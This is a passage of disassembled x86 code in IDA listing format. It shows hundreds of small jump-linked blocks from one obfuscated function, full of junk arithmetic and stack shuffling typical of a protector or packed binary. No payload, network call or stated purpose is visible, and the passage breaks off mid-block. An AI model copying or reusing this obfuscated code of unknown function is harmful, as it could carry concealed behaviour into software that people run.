		jmp	loc_5A16E2
; ---------------------------------------------------------------------------


loc_5AF6AF:				; CODE XREF: sub_58A891+126C4j
		sub	edx, 6A932D03h
		jmp	loc_5A5470
; ---------------------------------------------------------------------------


loc_5AF6BA:				; CODE XREF: sub_58A891+164B7j
		add	esp, 4
		sub	eax, 500600FCh
		jmp	loc_5A2A2D
; ---------------------------------------------------------------------------


loc_5AF6CA:				; CODE XREF: sub_58A891+11B43j
					; sub_58A891+2554Cj
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+0]
		jmp	loc_59E62B
; ---------------------------------------------------------------------------


loc_5AF6D5:				; CODE XREF: sub_58A891+187E0j
		add	edx, ebx
		pop	ebx
		jmp	loc_5A98A4
; ---------------------------------------------------------------------------


loc_5AF6DD:				; CODE XREF: sub_58A891+18743j
		pop	esp
		xor	eax, ebx
		mov	ebx, [esp+36h+var_38+2]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_59F7AD
; ---------------------------------------------------------------------------


loc_5AF6EC:				; CODE XREF: sub_58A891+149B5j
		push	edi
		mov	edi, 80008045h
		add	esi, edi
		jmp	loc_59DB93
; ---------------------------------------------------------------------------


loc_5AF6F9:				; CODE XREF: sub_58A891+1C276j
		not	esi
		jmp	loc_5A4810
; ---------------------------------------------------------------------------


loc_5AF700:				; CODE XREF: sub_58A891+1C8A5j
		pop	edx
		add	esp, 4
		push	ecx
		push	[esp+0B6h+var_B2]
		push	[esp+0BAh+var_BA]
		jmp	loc_5A9B7B
; ---------------------------------------------------------------------------


loc_5AF711:				; CODE XREF: sub_58A891+24C46j
		sub	ebx, 1FD37CA2h
		pop	edi
		and	eax, ebx
		jmp	loc_5AC495
; ---------------------------------------------------------------------------


loc_5AF71F:				; CODE XREF: sub_58A891+1D283j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A0666
; ---------------------------------------------------------------------------


loc_5AF730:				; CODE XREF: sub_58A891+1625Fj
					; sub_58A891+1FB9Ej
		xchg	ecx, [esp+0A2h+var_A2]
		push	ecx
		not	[esp+0A6h+var_A6]
		pop	ecx
		xchg	ecx, [esp+0A2h+var_A2]
		mov	ecx, [esp+0A2h+var_A2]
		add	esp, 4
		or	ecx, 133B300Ch
		jmp	loc_59CF5A
; ---------------------------------------------------------------------------


loc_5AF74F:				; CODE XREF: sub_58A891+137B0j
		mov	edx, 33625EFDh
		add	ecx, edx
		jmp	loc_5AC5B7
; ---------------------------------------------------------------------------


loc_5AF75B:				; CODE XREF: sub_58A891+1C8C2j
		sub	dh, 0C4h
		xor	ch, dh
		mov	edx, [esp+0BEh+var_BE]
		jmp	loc_5AFE2D
; ---------------------------------------------------------------------------


loc_5AF768:				; CODE XREF: sub_58A891+24D3Bj
		mov	[esp+0B2h+var_B2], edx
		jmp	loc_5ADF23
; ---------------------------------------------------------------------------


loc_5AF770:				; CODE XREF: sub_58A891+1A319j
		add	esp, 4
		push	ecx
		jmp	loc_5AF284
; ---------------------------------------------------------------------------


loc_5AF779:				; CODE XREF: sub_58A891+19162j
		add	edx, esi
		push	[esp+42h+var_44+2]
		pop	esi
		add	esp, 4
		xor	edx, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], edx
		jmp	loc_5A14AA
; ---------------------------------------------------------------------------
		push	[esp+3Eh+var_40+2]
		pop	eax
		push	6649h
		mov	[esp+42h+var_44+2], ebx
		push	esp
		pop	ebx
		push	edi
		push	edx
		mov	edx, 71EF2361h
		push	eax
		jmp	loc_5B1295
; ---------------------------------------------------------------------------


loc_5AF7A8:				; CODE XREF: sub_58A891:loc_5A64FFj
		neg	eax
		jmp	loc_5AAEB7
; ---------------------------------------------------------------------------


loc_5AF7AF:				; CODE XREF: sub_58A891+122DFj
		xchg	ebx, [esp+0A6h+var_A6]
		pop	esp
		push	3658h
		mov	[esp+0A6h+var_A6], edi
		push	ebp
		jmp	loc_5A0D79
; ---------------------------------------------------------------------------


loc_5AF7C1:				; CODE XREF: sub_58A891+1DF03j
		push	edi
		mov	edi, 765C1B8Bh
		jmp	loc_5A7031
; ---------------------------------------------------------------------------


loc_5AF7CC:				; CODE XREF: sub_58A891+26AB0j
		xor	edi, 0BDF38B4h
		xor	edi, 7C3A416Bh
		neg	edi
		xor	edi, 0A9746ADh
		xor	edi, 384963E2h
		add	edi, 0C3B5B393h
		xor	edx, edi
		jmp	loc_59D781
; ---------------------------------------------------------------------------


loc_5AF7F3:				; CODE XREF: sub_58A891+1BC2Dj
		not	ecx
		shr	ecx, 5
		xor	ecx, 27D54319h
		add	esi, ecx
		pop	ecx
		add	esi, ebp
		sub	esi, 23CA67D9h
		add	esi, 57550725h
		pop	ebp
		xchg	esi, [esp+0D2h+var_D2]
		pop	esp
		sar	[esp+0CEh+var_CE], cl
		pushf
		jmp	loc_5A72A2
; ---------------------------------------------------------------------------


loc_5AF81D:				; CODE XREF: sub_58A891+1E6A4j
		push	ecx
		mov	ecx, 1F78641Ah
		xor	ecx, 29780CEBh
		push	edx
		mov	edx, 0DD95C3Eh
		sub	ecx, 5A686634h
		sub	ecx, edx
		add	ecx, 5A686634h
		mov	edx, [esp+0BAh+var_BA]
		add	esp, 4
		and	esi, ecx
		jmp	loc_5AC325
; ---------------------------------------------------------------------------


loc_5AF84A:				; CODE XREF: sub_58A891+14576j
		sub	esp, 4
		mov	[esp+0A0h+var_A2+2], edx
		mov	edx, 2EAE5B3Dh
		push	eax
		mov	eax, 47B74912h
		xor	edx, eax
		pop	eax
		add	edx, 10F09D37h
		mov	ecx, edx
		pop	edx
		jmp	loc_5A7C76
; ---------------------------------------------------------------------------


loc_5AF86C:				; CODE XREF: sub_58A891+1B7C1j
		xor	ebx, 52A64535h
		jmp	loc_5A70E3
; ---------------------------------------------------------------------------


loc_5AF877:				; CODE XREF: sub_58A891+261B6j
		jz	loc_5A4BC9
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		or	ebx, 6297610h
		push	3C12h
		mov	[esp+0B6h+var_B6], ebp
		mov	ebp, 23AF6BFEh
		neg	ebp
		push	ecx
		jmp	loc_5AFB3E
; ---------------------------------------------------------------------------


loc_5AF89E:				; CODE XREF: sub_58A891+12EC8j
		mov	eax, [esp+0B2h+var_B2]
		add	esp, 4
		push	eax
		push	0FB0h
		mov	[esp+0B6h+var_B6], esp
		add	[esp+0B6h+var_B6], 4
		pop	eax
		jmp	loc_5A100B
; ---------------------------------------------------------------------------


loc_5AF8BA:				; CODE XREF: sub_58A891+1B324j
		sub	edi, 63F16C5Ah
		mov	esi, edi
		pop	edi
		jmp	loc_5AB47A
; ---------------------------------------------------------------------------


loc_5AF8C8:				; CODE XREF: sub_58A891+18C4Aj
		mov	ebp, [esp+3Eh+var_40+2]
		jmp	loc_5A6932
; ---------------------------------------------------------------------------


loc_5AF8D0:				; CODE XREF: sub_58A891+162D8j
		add	eax, edx
		sub	eax, 36DB47F7h
		pop	edx
		sub	edx, eax
		pop	eax
		jmp	loc_5A65AA
; ---------------------------------------------------------------------------
		neg	byte ptr [esp+0]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF8E9:				; CODE XREF: sub_58A891+170F5j
		add	ebp, edx
		sub	ebp, 6E27520Eh
		jmp	loc_5A1A61
; ---------------------------------------------------------------------------


loc_5AF8F6:				; CODE XREF: sub_58A891+20E63j
		push	small word ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF8FE:				; CODE XREF: sub_58A891+1937Bj
		xor	edx, 7F5320C2h
		xor	eax, edx
		mov	edx, [esp+1Ah+var_1C+2]
		add	esp, 4
		xor	esi, eax
		push	[esp+16h+var_18+2]
		pop	eax
		jmp	loc_59CA35
; ---------------------------------------------------------------------------


loc_5AF91A:				; CODE XREF: sub_58A891+1BCF3j
		mov	esi, 1F2E34FAh
		jmp	loc_59DD44
; ---------------------------------------------------------------------------


loc_5AF924:				; CODE XREF: sub_58A891+12D5Cj
		push	20Dh
		jmp	loc_5A2C67
; ---------------------------------------------------------------------------


loc_5AF92E:				; CODE XREF: sub_58A891:loc_5AAEB7j
		sub	eax, 0FE4C0695h
		mov	ebp, eax
		mov	eax, [esp+3Eh+var_40+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A7988
; ---------------------------------------------------------------------------


loc_5AF940:				; CODE XREF: sub_58A891:loc_5A1941j
					; sub_58A891+18639j
		push	ebp
		jmp	loc_5A2693
; ---------------------------------------------------------------------------


loc_5AF946:				; CODE XREF: sub_58A891+1D5E2j
		neg	edx
		sub	edx, 362577C8h
		and	edx, 0E0F04E7h
		or	edx, 7A5E10A9h
		add	edx, 81A1EB19h
		add	ebp, edx
		pop	edx
		push	ebp
		jmp	loc_5AA560
; ---------------------------------------------------------------------------


loc_5AF969:				; CODE XREF: sub_58A891+1E756j
		pop	ebp
		xor	ebx, 0B6E43D60h
		sub	edi, 5A7F3144h
		jmp	loc_5AB15D
; ---------------------------------------------------------------------------


loc_5AF97B:				; CODE XREF: sub_58A891+25C05j
		sub	eax, 5D6F1258h
		mov	[eax], edx
		pop	eax
		push	[esp+12h+var_14+2]
		jmp	loc_5AADC5
; ---------------------------------------------------------------------------


loc_5AF98B:				; CODE XREF: sub_58A891+1EE9Bj
		mov	ecx, 2B5E0AE7h
		push	ebx
		jmp	loc_5AF54D
; ---------------------------------------------------------------------------


loc_5AF996:				; CODE XREF: sub_58A891+1492Aj
		neg	ebp
		add	ebp, 59FCE606h
		add	edx, 20401777h
		jmp	loc_5A1C05
; ---------------------------------------------------------------------------


loc_5AF9A9:				; CODE XREF: sub_58A891+1FA45j
		jmp	loc_59F6C6
; ---------------------------------------------------------------------------


loc_5AF9AE:				; CODE XREF: sub_58A891+16A82j
		pop	esi
		add	ebx, 1
		jmp	loc_59EDC1
; ---------------------------------------------------------------------------


loc_5AF9BA:				; CODE XREF: sub_58A891+13990j
		push	[esp+3Eh+var_40+2]
		mov	ecx, [esp+42h+var_44+2]
		add	esp, 4
		push	3A05h
		mov	[esp+42h+var_44+2], eax
		jmp	loc_5B170B
; ---------------------------------------------------------------------------


loc_5AF9D3:				; CODE XREF: sub_58A891+13532j
		add	esp, 4
		sub	ecx, 16AA292Dh
		add	ecx, esi
		add	ecx, 16AA292Dh
		jmp	loc_5B29B7
; ---------------------------------------------------------------------------


loc_5AF9E9:				; CODE XREF: sub_58A891+13676j
		mov	ebp, 2C254BD9h
		xor	ebp, 396612A4h
		jmp	loc_5A5C1C
; ---------------------------------------------------------------------------


loc_5AF9F9:				; CODE XREF: sub_58A891+2066Aj
		push	esp
		mov	ebp, [esp+0F6h+var_F8+2]
		push	ecx
		jmp	loc_5A4F2C
; ---------------------------------------------------------------------------


loc_5AFA03:				; CODE XREF: sub_58A891+13549j
		pop	ebx
		push	ecx
		mov	ecx, ebp
		push	ecx
		jmp	loc_5A4F8D
; ---------------------------------------------------------------------------


loc_5AFA0D:				; CODE XREF: sub_58A891+22B5Fj
		mov	ecx, 94F23CDFh
		xor	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp+0AAh+var_AA]
		add	esp, 4
		or	eax, eax
		jz	loc_5A6261
		push	dword ptr [edi+1Ch]
		push	6A74h
		mov	[esp+0AEh+var_AE], edx
		push	ebx
		mov	ebx, 5A4157C4h
		mov	edx, ebx
		pop	ebx
		xor	[esp+0AEh+var_AA], edx
		push	[esp+0AEh+var_AE]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_5ACB8F
; ---------------------------------------------------------------------------


loc_5AFA4C:				; CODE XREF: sub_58A891+1922Ej
					; sub_58A891+279ECj
		pop	edx
		push	eax
		jmp	loc_5AAD31
; ---------------------------------------------------------------------------


loc_5AFA53:				; CODE XREF: sub_58A891+1918Bj
		mov	ebp, 4
		jmp	loc_5A85AD
; ---------------------------------------------------------------------------


loc_5AFA5D:				; CODE XREF: sub_58A891+174F1j
		add	eax, ebx
		pop	ebx
		sub	eax, 36A624C2h
		sub	eax, ecx
		add	eax, 36A624C2h
		sub	eax, 484466A6h
		push	[esp+0Eh+var_10+2]
		pop	ecx
		jmp	loc_59E5FC
; ---------------------------------------------------------------------------


loc_5AFA7A:				; CODE XREF: sub_58A891+16422j
		sub	esp, 4
		mov	[esp+46h+var_48+2], eax
		jmp	loc_5ADEC1
; ---------------------------------------------------------------------------


loc_5AFA88:				; CODE XREF: sub_58A891+13384j
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], edi
		xor	edi, [esp+32h+var_34+2]
		jmp	loc_5A8D35
; ---------------------------------------------------------------------------


loc_5AFA9F:				; CODE XREF: sub_58A891+2351Bj
		add	esp, 2
		add	al, 53h
		sub	al, bl
		jmp	loc_5ABB16
; ---------------------------------------------------------------------------


loc_5AFAAE:				; CODE XREF: sub_58A891+25B4Fj
		pop	ecx
		add	dl, 39h
		add	al, 0Bh
		sub	al, dl
		sub	al, 0Bh
		pop	edx
		jmp	loc_59D13A
; ---------------------------------------------------------------------------


loc_5AFABE:				; CODE XREF: sub_58A891+21828j
		pop	esp
		xor	esi, edx
		pop	edx
		sub	eax, 49576EFCh
		add	eax, esi
		push	ecx
		mov	ecx, 49576EFCh
		jmp	loc_5ADCDE
; ---------------------------------------------------------------------------


loc_5AFAD4:				; CODE XREF: sub_58A891+1FD24j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], eax
		jmp	loc_5A3FDB
; ---------------------------------------------------------------------------


loc_5AFAEB:				; CODE XREF: sub_58A891+1EDB7j
		xchg	edi, [esp+0A8h+var_AA+2]
		jmp	loc_59D32E
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5AE82A
; ---------------------------------------------------------------------------


loc_5AFAF9:				; CODE XREF: sub_58A891+1895Bj
					; sub_58A891+197BDj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5A7DA7
; ---------------------------------------------------------------------------


loc_5AFB0F:				; CODE XREF: sub_58A891:loc_5A44AAj
		add	ebp, 0F777FFA8h
		push	ebp
		add	[esp+26h+var_28+2], 6986148h
		jmp	loc_5A6904
; ---------------------------------------------------------------------------


loc_5AFB22:				; CODE XREF: sub_58A891+1AA4Fj
					; sub_58A891+26BBDj
		push	ebx
		mov	ebx, 4
		jmp	loc_5A3116
; ---------------------------------------------------------------------------


loc_5AFB2D:				; CODE XREF: sub_58A891+135F9j
					; sub_58A891+240A9j
		pop	ebp
		mov	edi, [esp+36h+var_38+2]
		add	esp, 4
		push	23D5h
		jmp	loc_5A09A9
; ---------------------------------------------------------------------------


loc_5AFB3E:				; CODE XREF: sub_58A891+25008j
		mov	ecx, esp
		jmp	loc_59DB52
; ---------------------------------------------------------------------------


loc_5AFB45:				; CODE XREF: sub_58A891+204C8j
		mov	esi, esp
		jmp	loc_5A530E
; ---------------------------------------------------------------------------


loc_5AFB4C:				; CODE XREF: sub_58A891+11D02j
		add	ebx, 63E134ECh
		pop	ebp
		mov	edx, ebx
		pop	ebx
		sub	edx, 5F3F4DACh
		jmp	loc_5A8CF4
; ---------------------------------------------------------------------------


loc_5AFB61:				; CODE XREF: sub_58A891+1511Cj
		add	edx, 0FF63CD03h
		add	eax, edx
		push	[esp+0Eh+var_10+2]
		pop	edx
		add	esp, 4
		jmp	loc_59D3E8
; ---------------------------------------------------------------------------


loc_5AFB78:				; CODE XREF: sub_58A891+14D20j
					; sub_58A891+1DA12j
		neg	[esp+22h+var_24+2]
		jmp	loc_59BFE0
; ---------------------------------------------------------------------------


loc_5AFB80:				; CODE XREF: sub_58A891+1CB0Fj
					; sub_58A891:loc_5A7D96j
		shl	esi, 8
		jmp	loc_5AF5FA
; ---------------------------------------------------------------------------


loc_5AFB88:				; CODE XREF: sub_58A891+1B627j
		xor	ebx, eax
		push	ebx
		jmp	loc_5A72A7
; ---------------------------------------------------------------------------


loc_5AFB90:				; CODE XREF: sub_58A891+17327j
		add	eax, ebx
		push	[esp+32h+var_34+2]
		pop	ebx
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], eax
		xor	eax, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		mov	ax, word ptr [esp+2Eh+var_30+2]
		push	eax
		push	4DA0h
		push	esp
		pop	[esp+3Ah+var_3C+2]
		push	5DBDh
		mov	[esp+3Ah+var_3C+2], ecx
		mov	ecx, 4
		jmp	loc_5A9D4E
; ---------------------------------------------------------------------------


loc_5AFBCA:				; CODE XREF: sub_58A891+1F639j
		add	edx, 0D252F60h
		shl	edx, 5
		xor	edx, 381A7A16h
		jmp	loc_5AA573
; ---------------------------------------------------------------------------


loc_5AFBDE:				; CODE XREF: sub_58A891+200DFj
		mov	eax, 7B263D4Fh
		xor	eax, 638403CBh
		shr	eax, 1
		shr	eax, 1
		and	eax, 5B820ED1h
		push	edx
		mov	edx, 28356EB1h
		neg	edx
		or	edx, 33375BC2h
		jmp	loc_59FE4B
; ---------------------------------------------------------------------------


loc_5AFC04:				; CODE XREF: sub_58A891+15CCFj
		push	edi
		mov	edi, 34207FE2h
		sub	edi, 5FDA2C24h
		jmp	loc_5A3FE1
; ---------------------------------------------------------------------------


loc_5AFC15:				; CODE XREF: sub_58A891+178DBj
		mov	[esp+1Eh+var_20+2], ebx
		push	2439h
		mov	[esp+22h+var_24+2], eax
		jmp	loc_5A0CF4
; ---------------------------------------------------------------------------


loc_5AFC25:				; CODE XREF: sub_58A891+26ED8j
		mov	esi, esp
		jmp	loc_59C66D
; ---------------------------------------------------------------------------


loc_5AFC2C:				; CODE XREF: sub_58A891+1A147j
					; sub_58A891+26DAEj
		sub	dl, 80h
		xor	dl, 3Ch
		push	ebx
		mov	bh, dl
		mov	ch, bh
		jmp	loc_5ADB10
; ---------------------------------------------------------------------------


loc_5AFC3C:				; CODE XREF: sub_58A891+16496j
		push	330Bh
		mov	[esp+8Ah+var_8C+2], esp
		add	[esp+8Ah+var_8C+2], 4
		mov	eax, [esp+8Ah+var_8C+2]
		add	esp, 4
		jmp	loc_5AAC09
; ---------------------------------------------------------------------------


loc_5AFC56:				; CODE XREF: sub_58A891+14FB8j
		mov	esi, 4
		push	ebp
		push	ebx
		mov	ebx, esi
		mov	ebp, ebx
		jmp	loc_59D30E
; ---------------------------------------------------------------------------


loc_5AFC66:				; CODE XREF: sub_58A891+25EB3j
		add	ecx, esi
		jmp	loc_5ACA0E
; ---------------------------------------------------------------------------


loc_5AFC6D:				; CODE XREF: sub_58A891+241E8j
		push	ebx
		push	[esp+10Ah+var_108+2]
		pop	ebx
		jmp	loc_5AD687
; ---------------------------------------------------------------------------


loc_5AFC78:				; CODE XREF: sub_58A891+151F7j
					; sub_58A891+1FBBFj
		push	ebx
		push	edi
		push	ebx
		jmp	loc_5AFEFF
; ---------------------------------------------------------------------------


loc_5AFC80:				; CODE XREF: sub_58A891+24957j
		push	esi
		push	[esp+32h+var_30+2]
		pop	esi
		pop	[esp+32h+var_34+2]
		pop	esp
		push	5A67h
		mov	[esp+2Eh+var_30+2], ecx
		jmp	loc_5AFFBF
; ---------------------------------------------------------------------------


loc_5AFC97:				; CODE XREF: sub_58A891+16B11j
		add	eax, ebx
		add	eax, 1E327058h
		push	edi
		push	48FB609Ch
		jmp	loc_5A1525
; ---------------------------------------------------------------------------


loc_5AFCA9:				; CODE XREF: sub_58A891+2297Cj
		push	3849h
		mov	[esp+0AEh+var_AE], ebx
		mov	ebx, 2DAD364Eh
		inc	ebx
		push	edi
		mov	edi, 0A1448A1h
		and	edi, 715D4D7Ah
		jmp	loc_5AE94D
; ---------------------------------------------------------------------------


loc_5AFCC8:				; CODE XREF: sub_58A891+261BEj
		xor	[esp+0B2h+var_B2], esi
		xor	esi, [esp+0B2h+var_B2]
		jmp	loc_5ADA57
; ---------------------------------------------------------------------------


loc_5AFCD3:				; CODE XREF: sub_58A891+26F0Cj
		pop	edx
		mov	ebx, [esp+0AEh+var_AE]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFCDF:				; CODE XREF: sub_58A891+22DC2j
		add	edi, edx
		pop	edx
		jmp	loc_59ED09
; ---------------------------------------------------------------------------


loc_5AFCE7:				; CODE XREF: sub_58A891+1BF2Aj
		mov	ebp, [esp+0A0h+var_A2+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+9Ch+var_9E+2]
		mov	esp, [esp+9Ch+var_9E+2]
		mov	eax, [esp+9Ch+var_9E+2]
		push	ebx
		jmp	loc_5B2558
; ---------------------------------------------------------------------------


loc_5AFD02:				; CODE XREF: sub_58A891+1A848j
		mov	[esp+0AAh+var_AA], eax
		jmp	loc_5A3D79
; ---------------------------------------------------------------------------


loc_5AFD0A:				; CODE XREF: sub_58A891+23871j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFD0F:				; CODE XREF: sub_58A891+149D0j
		add	ecx, esi
		add	ecx, 1247349Dh
		sub	ecx, 328A0793h
		pop	esi
		push	edx
		push	ebp
		jmp	loc_5A4CE8
; ---------------------------------------------------------------------------


loc_5AFD25:				; CODE XREF: sub_58A891+18ACCj
					; sub_58A891+1D3ABj
		dec	edx
		js	loc_5A10B4
		or	edx, 6BBD20EBh
		sub	edx, 34C84981h
		jmp	loc_5A44E5
; ---------------------------------------------------------------------------


loc_5AFD3D:				; CODE XREF: sub_58A891+269CCj
		mov	[esp+0Eh+var_10+2], edx
		jmp	loc_5B0A14
; ---------------------------------------------------------------------------


loc_5AFD45:				; CODE XREF: sub_58A891+244BCj
		add	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5B277B
; ---------------------------------------------------------------------------


loc_5AFD50:				; CODE XREF: sub_58A891+25F27j
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_5A4E07
; ---------------------------------------------------------------------------


loc_5AFD58:				; CODE XREF: sub_58A891+1ACF9j
		mov	ebx, [esp+0A2h+var_A2]
		jmp	loc_5A006D
; ---------------------------------------------------------------------------


loc_5AFD60:				; CODE XREF: sub_58A891+1787Ej
					; sub_58A891+26850j
		pop	esi
		mov	ebp, esi
		jmp	loc_5A4BDA
; ---------------------------------------------------------------------------


loc_5AFD68:				; CODE XREF: sub_58A891+13B2Ej
		and	ecx, 8420895h
		jbe	loc_59D8D8
		xor	ecx, 73900779h
		jle	loc_5ADD61
		jmp	loc_5AE37E
; ---------------------------------------------------------------------------


loc_5AFD85:				; CODE XREF: sub_58A891+1D80Dj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0AEh+var_AE]
		jmp	loc_5AD9FF
; ---------------------------------------------------------------------------


loc_5AFD9B:				; CODE XREF: sub_58A891+276D6j
		xor	[esp+0AEh+var_AA], ecx
		jmp	loc_59CAFB
; ---------------------------------------------------------------------------


loc_5AFDA4:				; CODE XREF: sub_58A891+141EFj
		mov	ecx, [esp+0A8h+var_AA+2]
		push	ecx
		jmp	loc_5A3B1E
; ---------------------------------------------------------------------------


loc_5AFDAD:				; CODE XREF: sub_58A891+27FDCj
		sub	eax, 4
		xchg	eax, [esp+0ACh+var_AE+2]
		pop	esp
		mov	[esp+0A8h+var_AA+2], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		push	edi
		push	[esp+0A8h+var_A6+2]
		mov	edi, [esp+0ACh+var_AE+2]
		sub	esp, 4
		mov	[esp+0B0h+var_B2+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5AF6CA
; ---------------------------------------------------------------------------


loc_5AFDE2:				; CODE XREF: sub_58A891+1427Fj
		and	esi, 4E474E1Bh
		not	esi
		add	esi, 43A35E54h
		jmp	loc_5A4752
; ---------------------------------------------------------------------------


loc_5AFDF5:				; CODE XREF: sub_58A891+12C67j
		mov	dh, 0E4h
		push	ebx
		mov	bl, dh
		mov	al, bl
		jmp	loc_5B239B
; ---------------------------------------------------------------------------


loc_5AFE01:				; CODE XREF: sub_58A891+18C7Cj
		push	ebp
		mov	ebp, 75651164h
		neg	ebp
		not	ebp
		neg	ebp
		xor	ebp, 0F74BDFA2h
		add	eax, ebp
		pop	ebp
		push	[esp+50h+var_50]
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AC5DF
; ---------------------------------------------------------------------------


loc_5AFE2D:				; CODE XREF: sub_58A891+24ED2j
		add	esp, 4
		xor	bh, ch
		jmp	loc_5A7C8F
; ---------------------------------------------------------------------------


loc_5AFE37:				; CODE XREF: sub_58A891+239E5j
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	377Fh
		mov	[esp+0A2h+var_A2], esi
		push	ebx
		push	23F54593h
		pop	ebx
		push	ebp
		mov	ebp, 23F5466Fh
		xor	ebx, ebp
		pop	ebp
		mov	esi, ebx
		pop	ebx
		push	ebx
		push	0DB17D52h
		pop	ebx
		jmp	loc_5B24CF
; ---------------------------------------------------------------------------


loc_5AFE67:				; CODE XREF: sub_58A891+1F761j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0B6h+var_B6]
		pop	esp
		xchg	edi, [esp+0B2h+var_B2]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5ADF71
; ---------------------------------------------------------------------------


loc_5AFE83:				; CODE XREF: sub_58A891+22A3Dj
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5B04B0
; ---------------------------------------------------------------------------


loc_5AFE9C:				; CODE XREF: sub_58A891+17DC1j
		pop	ebx
		add	esp, 4
		jmp	loc_5A0C14
; ---------------------------------------------------------------------------


loc_5AFEA5:				; CODE XREF: sub_58A891+13B0Ej
		add	edx, 5A381992h
		pop	ecx
		xchg	edx, [esp+3Ah+var_3C+2]
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFEB5:				; CODE XREF: sub_58A891+26872j
		sub	esi, 0AEBC4CD9h
		mov	ebx, esi
		jmp	loc_59CB83
; ---------------------------------------------------------------------------


loc_5AFEC2:				; CODE XREF: sub_58A891+22618j
		push	ebp
		jmp	loc_5A765B
; ---------------------------------------------------------------------------


loc_5AFEC8:				; CODE XREF: sub_58A891+1D0E1j
		mov	eax, 4298117Bh
		and	ebp, eax
		pop	eax
		sub	ebp, 20A1DCCDh
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A9691
; ---------------------------------------------------------------------------


loc_5AFEDE:				; CODE XREF: sub_58A891+1CBA9j
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edx
		push	0B7Fh
		mov	[esp+2Eh+var_30+2], ecx
		mov	ecx, 35BF731Dh
		mov	edx, ecx
		pop	ecx
		and	edx, 2EB524D2h
		jmp	loc_5B26F5
; ---------------------------------------------------------------------------


loc_5AFEFF:				; CODE XREF: sub_58A891+253EAj
		mov	ebx, 745F6E64h
		mov	edi, 0A96CB92Bh
		add	edi, ebx
		pop	ebx
		mov	ebx, edi
		pop	edi
		or	ebx, 779B6B97h
		xor	ebx, 28933189h
		sub	esi, ebx
		pop	ebx
		add	esi, ebx
		add	esi, 574C5E16h
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		push	edi
		jmp	loc_5A0A4F
; ---------------------------------------------------------------------------


loc_5AFF32:				; CODE XREF: sub_58A891+272F9j
		push	eax
		jmp	loc_5A257B
; ---------------------------------------------------------------------------


loc_5AFF38:				; CODE XREF: sub_58A891+1E6DAj
		add	edi, 3C5E2E67h
		push	[esp+16h+var_18+2]
		jmp	loc_5AE275
; ---------------------------------------------------------------------------


loc_5AFF46:				; CODE XREF: sub_58A891+1FB25j
		xor	cl, 8
		shl	cl, 4
		shr	cl, 8
		jmp	loc_5A7C36
; ---------------------------------------------------------------------------


loc_5AFF54:				; CODE XREF: sub_58A891+1902Bj
		xor	eax, 3D0A5A11h
		jo	loc_5A4628
		and	eax, 41E83AB2h
		jmp	loc_5A524A
; ---------------------------------------------------------------------------


loc_5AFF69:				; CODE XREF: sub_58A891+227BAj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0A2h+var_A2]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp+0A2h+var_A2], eax
		push	2CD71FFCh
		mov	eax, [esp+0A6h+var_A6]
		add	esp, 4
		sub	eax, 3A1C8FAh
		push	2204h
		jmp	loc_5AD30D
; ---------------------------------------------------------------------------


loc_5AFFA2:				; CODE XREF: sub_58A891+2324Bj
		not	cl
		add	cl, 31h
		sub	bh, cl
		jmp	loc_5A457A
; ---------------------------------------------------------------------------


loc_5AFFAE:				; CODE XREF: sub_58A891+13522j
		sub	ebx, 5B250FE9h
		add	ebx, 7DE8298Dh
		jmp	loc_5A7A99
; ---------------------------------------------------------------------------


loc_5AFFBF:				; CODE XREF: sub_58A891+25401j
		push	[esp+2Eh+var_2C+2]
		mov	ecx, [esp+32h+var_34+2]
		jmp	loc_5A331E
; ---------------------------------------------------------------------------


loc_5AFFCB:				; CODE XREF: sub_58A891+15FBEj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFFD0:				; CODE XREF: sub_58A891+1CD6Aj
		sub	esp, 4
		mov	[esp+52h+var_54+2], eax
		sub	[esp+52h+var_54+2], 89F712Ah
		pop	ebx
		push	eax
		mov	eax, 89F712Ah
		add	ebx, eax
		pop	eax
		pop	eax
		push	ebx
		mov	ebx, 164E14E8h
		sub	eax, ebx
		pop	ebx
		add	eax, ebx
